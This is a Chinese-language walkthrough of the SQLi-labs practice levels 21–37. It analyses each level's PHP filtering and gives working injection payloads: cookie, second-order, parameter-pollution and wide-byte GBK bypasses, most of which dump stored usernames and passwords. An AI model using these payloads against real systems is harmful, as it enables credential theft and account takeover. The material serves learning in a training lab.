SQLI labs 靶场笔记之高级注入姿势 21-37 关

高级注入姿势 21-37 关

请求方式注入类型拼接方式
POST联合、报错、布尔盲注、延时盲注username=('$cookee')

简单源码分析

<?php
if cookie 中不存在 uname 参数:  
    输出了一堆无用的信息
    if 提交了 uname 和 passwd:
        # 进行过滤
        $uname = check_input($_POST['uname']);
        $passwd = check_input($_POST['passwd']);

        $sql="SELECT  users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";
        if 有查询结果:
            # 将 uname 的值设置给 cookie 里面的 uname 参数
            setcookie('uname', base64_encode($row1['username']), time()+3600);    
        else:
            print_r(mysql_error());

else:
    if POST 数据里面没有 submit 参数:
                 # 对 cookee 进行 base64 解密
        $cookee = base64_decode($cookee);

        # 直接将 cookee 通过单引号拼接到 SQL 语句中
        $sql="SELECT * FROM users WHERE username='$cookee' LIMIT 0,1";
        if 查询无结果:
            输出 mysql_error()
        if 有结果:
            输出查询的信息
    else:
        # 将 uname 的值设置给 cookie 里面的 uname 参数
        setcookie('uname', base64_encode($row1['username']), time()-3600);
?>

从源码中分析可得,和 Less-20 基本上是一毛一样,只是 Coojie 这里是经过 base64 加密的,所以我们只需要传入加密后的 payload 给 cookie 的 uname 即可,下面就只用报错注入来简单演示一下吧:

GET /Less-21/index.php HTTP/1.1
Host: sqli.pl
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://sqli.pl/Less-21/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: uname=YWRtaW4nKSBhbmQgdXBkYXRleG1sKDEsY29uY2F0KDB4N2UsKHNlbGVjdCB1c2VybmFtZSBmcm9tIHVzZXJzIGxpbWl0IDEsMSksMHg3ZSksMSkj
Connection: close

Cookie 的 uname 参数 Base64 解码为:

admin') and updatexml(1,concat(0x7e,(select username from users limit 1,1),0x7e),1)#

联合注入

-admin') union select 1,2,(select group_concat(username,':',password) from users) #

Less-22

请求方式注入类型拼接方式
POST联合、报错、布尔盲注、延时盲注username="$cookee"

简单源码分析

# 先双引号 然后直接拼接到SQL语句中
$cookee1 = '"'. $cookee. '"';    
$sql="SELECT * FROM users WHERE username=$cookee1 LIMIT 0,1";

可以发现和 Less-21 相比,只是拼接方式不一样,其他都是一致的,这里就不再啰嗦了。

GET /Less-22/index.php HTTP/1.1
Host: sqli.pl
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://sqli.pl/Less-22/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: uname=LWFkbWluIiB1bmlvbiBzZWxlY3QgMSwyLChzZWxlY3QgZ3JvdXBfY29uY2F0KHVzZXJuYW1lLCc6JyxwYXNzd29yZCkgZnJvbSB1c2VycykgIw==
Connection: close

Cookie 的 uname 参数 Base64 解码为:

-admin" union select 1,2,(select group_concat(username,':',password) from users) #

Less-23(过滤#、–注释)

请求方式注入类型拼接方式
GET联合、报错、布尔盲注、延时盲注id='$id'

简单源码分析

# 获取到 id 的值
$id=$_GET['id'];

# 过滤了 id 中的 # 和 -- 然后 替换为 空
$reg = "/#/";
$reg1 = "/--/";
$replace = "";
$id = preg_replace($reg, $replace, $id);
$id = preg_replace($reg1, $replace, $id);

# 使用单引号拼接 SQL
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

if 有查询结果:
    输出查询信息
else:
    print_r(mysql_error());

过滤了注释符号,但是这里还可以考虑使用闭合方式来进行注入,下面直接使用最简单的联合查询注入吧:

Payload

?id=-1' union select 1,(select group_concat(username,':',password+SEPARATOR+0x3c62723e) from users),3 and '1'='1

Less-24(二次注入)

一个经典的二次注入场景,所以下面来单个理一下源码。

代码分析

  • index.php

主要记录了表单相关的信息,没有啥敏感代码,当做 Index.html 来看待就可以了,具体的界面如下:

Less-24(二次注入)

提示输入用户名和密码,用户名和密码正确之后就可以成功登陆,否则登陆失败。

忘记密码:左下角的忘记密码选项提示:如果你忘记密码 请 hack it

新建用户:右下角新建用户可以新建一个自己的用户

  • failed.php

检测会话,如果 cookie 里面没有 Auth 参数的话,就跳转到 index.php

  • forgot_password.php

简单提示:如果你忘记密码 请 hack it

  • Logged-in.php

登录后的信息展示,显示登录名称并且提供了修改密码的表单

  • new_user.php

创建新用户的表单页面,本文件主要存放前段代码。

  • login_create.php

创建新用户的后端代码,下面来简单理一下代码的流程:

# 接受用户提交的用户名和密码值 并进行 mysql 安全函数转义
username=  mysql_escape_string($_POST['username']) ;
$pass= mysql_escape_string($_POST['password']);
$re_pass= mysql_escape_string($_POST['re_password']);

# 查询当前用户信息

$sql = "select count(*) from users where username='$username'";
如果当前用户已经存在 无法注册

if 两次输入密码一致:
  # 将记录插入数据库中
  $sql = "insert into users ( username, password) values(\"$username\", \"$pass\")";
    查询完成后 重定向到首页
else:
    提示两次输入密码不一致
  • login.php
# 登录用户名和密码都被过滤了
$username = mysql_real_escape_string($_POST["login_user"]);
$password = mysql_real_escape_string($_POST["login_password"]);
$sql = "SELECT * FROM users WHERE username='$username' and password='$password'";
  • pass_change.php
if 检测未登录:
    重定向到首页
if 检测到提交表单:
  # 对 pass 都进行了过滤
  $username= $_SESSION["username"];
    $curr_pass= mysql_real_escape_string($_POST['current_password']);
    $pass= mysql_real_escape_string($_POST['password']);
    $re_pass= mysql_real_escape_string($_POST['re_password']);

    if 两次密码一致:
        # 直接将 username 拼接到 SQL 语句
        $sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";
    else:
        提示密码不一致 并重定向到 fail.php

思路分析

从代码上来看貌似都被转义了,乍一看是成功注入的。实际上的确不能使用常规的思路来进行注入,因为这题是二次注入,ISCC 2019 当时使用这题的考查点是修改掉 admin 用户的密码,然后再登录即可。假设不知道 admin 用户的情况下,想要修改掉 admin 用户的密码的话,这里就使用的是二次注入的姿势了。

二次注入 简单概括就是黑客精心构造 SQL 语句插入到数据库中,数据库报错的信息被其他类型的 SQL 语句调用的时候触发攻击行为。因为第一次黑客插入到数据库的时候并没有触发危害性,而是再其他语句调用的时候才会触发攻击行为,这个就是二次注入。

先看创建用户的地方:

username =  mysql_escape_string($_POST['username']) ;

username 被 mysql_escape_string 函数过滤了,该函数的作用如下:

危险字符转义后
\\\
'\'
"\"

再看下更新密码的核心语句:

UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass'

这里直接使用单引号拼接了 username 所以当 username 可控的话 ,这里是存在SQL注入的,假设用户注册的 username 的值为:admin'#,那么此时的完整语句就为:

UPDATE users SET PASSWORD='$pass' where username='admin'# and password='$curr_pass'

此时就完全改变了语义,直接就修改掉了 admin 用户的密码。

步骤演示

常见一个admin'#开头的用户名,下面列举的几种都可以,以此类推,很灵活:

admin'#1
admin'#233
admin'#gg
...

注册完成后数据库的记录信息如下:

mysql> select * from users;
+----+------------+----------+
| id | username   | password |
+----+------------+----------+
|  1 | Dumb       | 0        |
|  2 | Angelina   | 0        |
|  3 | Dummy      | 0        |
|  4 | secure     | 0        |
|  5 | stupid     | 0        |
|  6 | superman   | 0        |
|  7 | batman     | 0        |
|  8 | admin      | 0        |
|  9 | admin1     | 0        |
| 10 | admin2     | 0        |
| 11 | admin3     | 0        |
| 12 | dhakkan    | 0        |
| 14 | admin4     | 0        |
| 15 | admin'#sec | 123      |
+----+------------+----------+
14 rows in set (0.00 sec)

成功添加了记录,这里单引号数据库中中看没有被虽然转义了,这是因为转义只不过是暂时的,最后存入到数据库的时候还是没变的。

接下来登录 `admin’#sec用户,然后来修改当前的密码:

Less-24(二次注入)

此时来数据库中查看,可以发现成功修改掉了 admin 用的密码了:

mysql> select * from users;
+----+------------+----------+
| id | username   | password |
+----+------------+----------+
|  1 | Dumb       | 0        |
|  2 | Angelina   | 0        |
|  3 | Dummy      | 0        |
|  4 | secure     | 0        |
|  5 | stupid     | 0        |
|  6 | superman   | 0        |
|  7 | batman     | 0        |
|  8 | admin      | 1234     |
|  9 | admin1     | 0        |
| 10 | admin2     | 0        |
| 11 | admin3     | 0        |
| 12 | dhakkan    | 0        |
| 14 | admin4     | 0        |
| 15 | admin'#sec | 123      |
+----+------------+----------+
14 rows in set (0.00 sec)

Less-25(过滤or和and)

请求方式注入类型拼接方式
GET联合、报错、布尔盲注、延时盲注id='$id'

关键代码分析:

# id 直接单引号拼接
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

# 但是 id 被如下函数过滤了
$id= preg_replace('/or/i',"", $id);    
$id= preg_replace('/AND/i',"", $id);
return $id;

过滤了 or and 的get注入

测试阶段

'报错 ''不报错 那么就是'闭合

我们知道可以用--+注释掉后面

?id=1' order by 1 --+

语法不正确 发现过滤了 or

Less-25(过滤or和and)

那么我们继续构造,3正常,4报错

?id=1' oorrder by 1 --+
?id=1' oorrder by 2 --+
?id=1' oorrder by 3 --+
?id=1' oorrder by 4 --+

Less-25(过滤or和and)

爆数据库名

http://sqli.pl/Less-25/?id=-1' union select 1,database(),3 --+

Less-25(过滤or和and)

爆破表名

?id=-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='security',3 --+

information 的or

?id=-1' union select 1,(select group_concat(table_name) from infoorrmation_schema.tables where table_schema='security'),3 --+

Less-25(过滤or和and)

爆破列名

?id=-1' union select 1,(select group_concat(column_name) from infoorrmation_schema.columns  where table_name='users'),3 --+

Less-25(过滤or和and)

爆破出数据

?id=-1' union select 1,2,(select group_concat(username,':',passwoorrd+SEPARATOORR+0x3c62723e) from users) --+

Less-25(过滤or和and)

Less-25a

请求方式注入类型拼接方式
GET联合、布尔盲注、延时盲注id=$id

与 Less-25 相比,只是拼接方式改变,因为代码中没有输出报错信息,所以也无法进行报错注入,其他利用方式都是一样的,这里不再啰嗦。

?id=-1 union select 1,2,(select group_concat(username,':',passwoorrd+SEPARATOORR+0x3c62723e) from users) --+

Less-26(过滤or、and、/*、注释、空格和斜线)

请求方式注入类型拼接方式
GET联合、报错、布尔盲注、延时盲注id='$id'

简单源码分析

# 过滤了 or 和 and 大小写
$id= preg_replace('/or/i',"", $id);            //strip out OR (non case sensitive)
$id= preg_replace('/and/i',"", $id);        //Strip out AND (non case sensitive)

# 过滤了 /*
$id= preg_replace('/[\/\*]/',"", $id);        //strip out /*

# 过滤了 -- 和 # 注释
$id= preg_replace('/[--]/',"", $id);        //Strip out --
$id= preg_replace('/[#]/',"", $id);            //Strip out #

# 过滤了空格
$id= preg_replace('/[\s]/',"", $id);        //Strip out spaces

# 过滤了斜线
$id= preg_replace('/[\/\\\\]/',"", $id);        //Strip out slashes
return $id;

过滤了 or 和 and 可以采用 双写或者 && || 绕过

过滤注释 可以使用闭合绕过

过滤了空格 可以使用如下的符号来替代:

符号说明
%09TAB 键(水平)
%0a新建一行
%0c新的一页
%0dreturn 功能
%0bTAB 键(垂直)
%a0空格

由于我在windows下无法使用一些特殊的字符代替空格,此处是因为apache的解析的问题。

直接使用报错注入

爆库

(在hackbar中输入&&时,需要自行URL编码为%26%26,否则会报错,而输入||不需要)

?id=1'||updatexml(1,concat(':',(select database())),1)%26%26'1'='1

Less-25(过滤or和and)

爆表名

?id=1'||updatexml(1,concat(':',(select table_name from information_schema.tables where table_schema='security' limit 0,1)),1)||'1'='1

Less-25(过滤or和and)

but 好像不行,过滤了空格or

绕过

?id=1'||updatexml(1,concat(':',(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema='security'))),1)||'1'='1

Less-25(过滤or和and)

爆破列名

?id=1'||updatexml(1,concat(':',(select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_schema='security'%26%26table_name='users'))),1)||'1'='1

Less-25(过滤or和and)

爆数据

?id=1'||updatexml(1,concat(':',(select(group_concat(username,':',passwoorrd))from(users))),1)||'1'='1

?id=1'||updatexml(1,concat(':',(select(group_concat(username,':',passwoorrd))from(users)where(username='admin'))),1)||'1'='1

Less-25(过滤or和and)

Less-26a

请求方式注入类型拼接方式
GET联合、布尔盲注、延时盲注id=('$id')

与 Less-26 相比,只是拼接方式改变了,因为没有输出报错信息,所以不能使用报错注入了,只能被迫抛弃win环境使用docker,直接上payload。

?id=999')%a0union%a0select%a01,database(),3||('1')=('1

?id=999')%a0union%a0select%a01,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema='security')),3||('1')=('1

?id=999')%a0union%a0select%a01,(select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_name='users')),3||('1')=('1

?id=999')%a0union%a0select%a01,(select(group_concat(username,':',passwoorrd))from(users)),3||('1')=('1

Less-27(过滤了很多)

请求方式注入类型拼接方式
GET联合、报错、布尔盲注、延时盲注id=('$id')

查看代码,过滤规则又增加了许多:

# 过滤了 /*
$id= preg_replace('/[\/\*]/',"", $id);
# 过滤了 -
$id= preg_replace('/[--]/',"", $id);
# 过滤了 #
$id= preg_replace('/[#]/',"", $id);
# 过滤了空格
$id= preg_replace('/[ +]/',"", $id);
# 过滤了 select /m 严格模式 不可以使用双写绕过
$id= preg_replace('/select/m',"", $id);
$id= preg_replace('/select/s',"", $id);
$id= preg_replace('/Select/s',"", $id);
$id= preg_replace('/SELECT/s',"", $id);

# 过滤了 union UNION
$id= preg_replace('/union/s',"", $id);
$id= preg_replace('/Union/s',"", $id);
$id= preg_replace('/UNION/s',"", $id);
return $id;

PHP语法

正则表达式

PHP正则表达式的模式修饰符(官方文档)
PHP正则中的i,m,s,x,e

  • i
    如果设定了此修正符,模式中的字符将同时匹配大小写字母。
  • m
    如果设定了此修正符,行起始和行结束除了匹配整个字符串开头和结束外,还分别匹配其中的换行符的之后和之前。
  • s
    如果设定了此修正符,模式中的圆点元字符.匹配所有的字符,包括换行符。没有此设定的话,则不包括换行符。
  • x
    如果设定了此修正符,模式中的空白字符除了被转义的或在字符类中的以外完全被忽略,在未转义的字符类之外的#以及下一个换行符之间的所有字符,包括两头,也都被忽略。
  • e
    如果设定了此修正符,preg_replace()在替换字符串中对逆向引用作正常的替换。
  • ?
    ./+/*之后表示非贪婪匹配,./+/*限定符都是贪婪的,它们会尽可能多的匹配文字,在它们的后面加上一个?就可以实现非贪婪或最小匹配。

union 和 select 没有忽略大小写 导致写了很多冗杂的规则,但还是可以轻易绕过。

# 大小写混写
unioN
unIon
seLect
...

# 嵌套双写
uunionnion
sselectelect
ununionion
...

判断注入点

单引号字符型,过滤掉了#,–,空格等字符

?id=1'||'1'='1

成功闭合
Less-27

判断数据库名

?id=999'%0aunIon%0aselEct%0a1,database(),3%0a||'1'='1
#使用%0a代替空格,unIon、selEct随机大小写绕过,-被过滤了,使用999让其爆出显错位

Less-27

判断表名

?id=999'%0aunIon%0aselEct%0a1,(selEct(group_concat(table_name))from(information_schema.tables)where(table_schema='security')),3%0a||'1'='1

Less-27

判断列名

?id=999'%0aunIon%0aselEct%0a1,(selEct(group_concat(column_name))from(information_schema.columns)where(table_name='users')),3%0a||'1'='1

Less-27

得到数据

?id=999'%0aunIon%0aselEct%0a1,(selEct(group_concat(username,':',password))from(users)),3%0a||'1'='1

Less-27

总结

1 这里空格%0a代替

2这里正则表达式是只要你含有 就会一直匹配 双写不能绕过

3当-1不能用的时候 随便用一个错误的值把显示的位置让出来 给你要的数据

Less-27a

请求方式注入类型拼接方式
GET联合、布尔盲注、延时盲注id="$id"

和 Less-27 相比,只是拼接方式发生了改变,又因为没有报错日志的输出,所以少了报错注入的利用方式,利用方式换汤不换药,这里不做演示了。

?id=999"%0aunIon%0aselEct%0a1,(selEct(group_concat(username,':',password))from(users)),3%0a||"1"="1

Less-28

请求方式注入类型拼接方式
GET联合、布尔盲注、延时盲注id=('$id')

过滤规则如下:

# 过滤 /*
$id= preg_replace('/[\/\*]/',"", $id);

# 过滤 - # 注释
$id= preg_replace('/[--]/',"", $id);
$id= preg_replace('/[#]/',"", $id);

# 过滤 空格 +
$id= preg_replace('/[ +]/',"", $id);.

# 过滤 union select /i 大小写都过滤
$id= preg_replace('/union\s+select/i',"", $id);
return $id;

这里 union 和 select 这里可以使用双写嵌套绕过,过滤了注释的话 就使用闭合绕过,过滤了空格使用 Less-26 的编码绕过,OK分析完成后直接放完整的 payload 吧:

?id=999')%a0union%a0select%a01,(select(group_concat(username,password%a0SEPARATOR%a00x3c62723e))from(users)),3||('1')=('1

Less-28a

请求方式注入类型拼接方式
GET联合、布尔盲注、延时盲注id=('$id')

比 Less-28 还少了几个过滤规则,可以直接使用 Less-28 的payload:

Less-29

这一题和注入天书里面描述的环境不太一样,还是具体分析看下代码吧。

  • index.php
# id = 'x' 的拼接方式
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

if 查询到结果:
    输出查询的详细信息
else:
    print_r(mysql_error());

从源码来看的话和前面的貌似没有啥区别,直接尝试联合注入看看吧:

?id=-1' union select 1,(select(group_concat(username,password+SEPARATOR+0x3c62723e))from(users)),3 --+

这个 index.php 太简单了,不知道啥意思,下面直接重点来看 login.php 吧:

  • login.php
# 查询 query 的字符串
$qs = $_SERVER['QUERY_STRING'];

# 模拟 tomcat 的查询函数 处理一下
$id1=java_implimentation($qs);
$id=$_GET['id'];

# 再次过滤检测
whitelist($id1);

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

if 查询到结果:
    输出查询的详细信息
else:
    print_r(mysql_error());
?>

function java_implimentation($query_string)
{
    $q_s = $query_string;
    # & 作为分隔符 分割字符串
    $qs_array= explode("&",$q_s);

    # 遍历 qs_array 数组
    foreach($qs_array as $key => $value)
    {    
        $val=substr($value,0,2);
        # 如果数组前两位是 id 的话
        if($val=="id")
        {    
            # 截取 $value 的3-30 的字符串 作为 id 的值 
            $id_value=substr($value,3,30); 
            return $id_value;
            echo "<br>";
            break;
        }
    }
}

function whitelist($input)
{
    # 过滤规则 检测数字
    $match = preg_match("/^\d+$/", $input);
    if 不符合规则:
        header('Location: hacked.php');
}

从代码中还是很容易发现问题的,关键问题出在下面的地方:

$id1=java_implimentation($qs);
...
whitelist($id1);

whitelist 过滤是比较严格的,如果 id 不是数字的话就会直接重定向到 hacked.php,这里是没毛病的。那么问题出在了这里函数$id1=java_implimentation($qs);

因为 return 表示了函数的结束运行,所以这个函数捕捉到 id 的时候就会返回 return $id_value,这样就导致了 用户加入构造两组 id 的话,那么后面的 id 就会绕过函数检测。

假设用户输入这样的语句:

index.php?id=1&id=2

Apache PHP 会解析最后一个参数

Tomcat JSP 会解析第一个参数

知道这个原理的话后面尝试直接注入吧:

login.php?id=2&id=-2' union select 1,(select group_concat(username,password SEPARATOR 0x3c62723e) from users),3 --+

Less-30

请求方式注入类型拼接方式
GET联合、报错、布尔盲注、延时盲注id="$id"

和 Less-29 相比没有啥本质变化,只是拼接方式不一样。

login.php?id=2&id=-2" union select 1,(select group_concat(username,password SEPARATOR 0x3c62723e) from users),3 --+

Less-31

请求方式注入类型拼接方式
GET联合、报错、布尔盲注、延时盲注id=("$id")

和 Less-29 相比没有啥本质变化,只是拼接方式不一样。

login.php?id=2&id=-2") union select 1,(select group_concat(username,password SEPARATOR 0x3c62723e) from users),3 --+

Less-32(宽字节注入)

请求方式注入类型拼接方式
GET联合、报错、布尔盲注、延时盲注id='$id'

考察 Bypass addslashes(),关键的防护代码如下:

if(isset($_GET['id']))
$id=check_addslashes($_GET['id']);

# 在' " \ 等敏感字符前面添加反斜杠
function check_addslashes($string)
{        # \ 转换为 \\
    $string = preg_replace('/'. preg_quote('\\') .'/', "\\\\\\", $string);          将       # 将 ' 转为\"
    $string = preg_replace('/\'/i', '\\\'', $string);   
      # 将 " 转为\"
    $string = preg_replace('/\"/', "\\\"", $string);                                
    return $string;
}

宽字节注入原理

MySQL 在使用 GBK 编码的时候,会认为两个字符为一个汉字,例如 %aa%5c 就是一个 汉字。因为过滤方法主要就是在敏感字符前面添加 反斜杠 \,所以这里想办法干掉反斜杠即可。

1、%df 吃掉 \

具体的原因是 urlencode(\') = %5c%27,我们在%5c%27 前面添加%df,形 成%df%5c%27,MySQL 在 GBK 编码方式的时候会将两个字节当做一个汉字,这个时候就把%df%5c 当做是一个汉字,%27 则作为一个单独的符号在外面,同时也就达到了我们的目的。

2、将 \' 中的 \ 过滤掉

例如可以构造 %5c%5c%27 的情况,后面的%5c会被前面的%5c 给注释掉。这也是 bypass 的一种方法。

本关卡采用第一种 %df 宽字节注入来吃掉反斜杠,下面直接丢 payload 吧:

?id=-1%df' union select 1,(select group_concat(username,password SEPARATOR 0x3c62723e) from users),3 --+

Less-33

请求方式注入类型拼接方式
GET联合、报错、布尔盲注、延时盲注id='$id'

拼接方式也是一样的,过滤方法细节有点变化,具体如下:

function check_addslashes($string)
{
    $string= addslashes($string);    
    return $string;
}

addslashes() 函数返回在预定义字符之前添加反斜杠的字符串。

预定义字符转义后
\\\
'\'
"\"

该函数可用于为存储在数据库中的字符串以及数据库查询语句准备字符串,和 Less-32 的函数功能是差不的,依旧可以使用宽字节进行注入。

注入天书:使用 addslashes(),我们需要将 mysql_query 设置为 binary 的方式,才能防御此漏洞

Less-34

请求方式注入类型拼接方式
POST联合、报错、布尔盲注、延时盲注username='$uname'

过滤方法依然和 Less-33 一致:

$uname = addslashes($uname1);
$passwd= addslashes($passwd1);

只是由 GET 型变成了 POST 型,所以下面直接丢 POST 的数据包 payload 了:

uname=admin%df' union select 1,(select group_concat(username,password SEPARATOR 0x3c62723e) from users)#&passwd=admin

MySQL 注入天书这里介绍了一个新的方法

将 utf-8 转换为 utf-16 或 utf-32,例如将 ' 转为 utf-16 为

我们就 可以利用这个方式进行尝试,可以使用 Linux 自带的 iconv 命令进行 UTF 的编码转换:

➜  ~ echo \'|iconv -f utf-8 -t utf-16
��'
➜  ~ echo \'|iconv -f utf-8 -t utf-32
��'

首先尝试一个经典的万能密码:

uname=�' or 1#&passwd=

为什么这个万能密码可以生效呢,因为拼接到 SQL 中是如下的效果:

SELECT username, password FROM users WHERE username='�' or 1#and password='$passwd' LIMIT 0,1

or 1 是一个永真的条件,不论 select 选择出的内容是什么。or 1 之后时钟都是 1,下面是控制后台的演示:

# where username = 'x' or 1
mysql>  select * from users where username = 'x' or 1;
+----+------------+----------+
| id | username   | password |
+----+------------+----------+
|  1 | Dumb       | 0        |
|  2 | Angelina   | 0        |
|  3 | Dummy      | 0        |
|  4 | secure     | 0        |
|  5 | stupid     | 0        |
|  6 | superman   | 0        |
|  7 | batman     | 0        |
|  8 | admin      | 1234     |
|  9 | admin1     | 0        |
| 10 | admin2     | 0        |
| 11 | admin3     | 0        |
| 12 | dhakkan    | 0        |
| 14 | admin4     | 0        |
| 15 | admin'#sec | 123      |
+----+------------+----------+
14 rows in set (0.00 sec)

# where username = 'x' or 0
mysql>  select * from users where username = 'x' or 0;
Empty set (0.00 sec)

# where 1
mysql>  select * from users where 1;
+----+------------+----------+
| id | username   | password |
+----+------------+----------+
|  1 | Dumb       | 0        |
|  2 | Angelina   | 0        |
|  3 | Dummy      | 0        |
|  4 | secure     | 0        |
|  5 | stupid     | 0        |
|  6 | superman   | 0        |
|  7 | batman     | 0        |
|  8 | admin      | 1234     |
|  9 | admin1     | 0        |
| 10 | admin2     | 0        |
| 11 | admin3     | 0        |
| 12 | dhakkan    | 0        |
| 14 | admin4     | 0        |
| 15 | admin'#sec | 123      |
+----+------------+----------+
14 rows in set (0.00 sec)

# where 0
mysql> select * from users where 0;
Empty set (0.00 sec)

那么直接尝试一下最基本的联合查询注入看看:

uname=�' and 1=2 union select 1,(select group_concat(username,password SEPARATOR 0x3c62723e) from users)#&passwd=

也是 OK 的

Less-35

请求方式注入类型拼接方式
GET联合、报错、布尔盲注、延时盲注id=$id

Less-35 的防护措施有点搞笑,首先 id 使用了如下规则过滤:

$id=check_addslashes($_GET['id']);

function check_addslashes($string)
{
    $string = addslashes($string);
    return $string;
}

但是本关的拼接方式是:

$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";

实际进行注入利用的时候并不需要写单引号,那么就尝试直接注入看看吧:

?id=-1 union select 1,(select group_concat(username,password SEPARATOR 0x3c62723e) from users),3 --+

Less-36(Bypass mysql_real_escape_string)

请求方式注入类型拼接方式
GET联合、报错、布尔盲注、延时盲注id='$id'

主要防护代码:

$id=check_quotes($_GET['id']);

function check_quotes($string)
{
    $string= mysql_real_escape_string($string);    
    return $string;
}

这一关主要考查了 Bypass MySQL Real Escape String,mysql_real_escape_string 会检测并转义如下危险字符:

危险字符转义后
\\\
'\'
"\"

这一关使用 Less-34 关的两种思路依然是可行的,下面直接尝试 payload 进行注入吧:

?id=-1%df' union select 1,2,(select group_concat(username,password SEPARATOR 0x3c62723e) from users) --+ 

或者

?id=-1�' union select 1,2,(select group_concat(username,password SEPARATOR 0x3c62723e) from users) --+ 

Less-37

请求方式注入类型拼接方式
POST联合、报错、布尔盲注、延时盲注username='$uname'

依然使用了 和 Less-36 的防护方法:

$uname = mysql_real_escape_string($uname1);
$passwd= mysql_real_escape_string($passwd1);

所以利用思路也是一毛一样的,只是由 GET 型变成了 POST 型了,下面就直接尝试注入吧:

uname=admin%df' union select 1,(SELECT GROUP_CONCAT(username,password SEPARATOR 0x3c62723e) FROM users)#&passwd=admin

或者:

uname=�' union select 1,(SELECT GROUP_CONCAT(username,password SEPARATOR 0x3c62723e) FROM users)#&passwd=